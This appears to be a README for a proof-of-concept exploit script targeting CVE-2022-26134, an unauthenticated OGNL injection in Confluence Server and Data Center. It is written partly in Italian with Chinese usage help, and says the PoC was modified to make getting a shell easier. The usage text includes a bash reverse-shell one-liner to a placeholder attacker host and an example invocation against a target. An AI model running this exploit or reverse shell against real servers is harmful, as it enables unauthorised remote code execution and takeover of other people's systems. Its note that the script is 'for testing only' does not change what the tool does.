
Un attaccante remoto, senza autenticazione su Confluence, può iniettare espressioni OGNL costruite ad hoc per eseguire codice arbitrario su Confluence Server o Data Center. Il PoC è stato modificato rispetto allo script esistente per facilitare l'ottenimento di una shell.
Un attaccante remoto non autenticato può costruire espressioni OGNL per iniettare ed eseguire codice arbitrario su Confluence Server o Data Center, modificare il PoC per ottenere facilmente una shell. Porta comune: 8090
pip3 install requests
______ _______ ____ ___ ____ ____ ____ __ _ _____ _ _
/ ___\ \ / | ____| |___ \ / _ |___ \|___ \ |___ \ / /_ / |___ /| || |
| | \ \ / /| _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_
| |___ \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__ _|
\____| \_/ |_____| |_____|\___|_____|_____| |_____|\___/|_|____/ |_|
usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND
CVE-2022-26134
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
目标URL
-c COMMAND, --command COMMAND
执行命令(execute command),get shell:/bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1
python3 CVE-2022-26134.py -t [server ip] -c [command] //执行命令
Questo script è destinato solo a scopi di test, non utilizzarlo per altri scopi.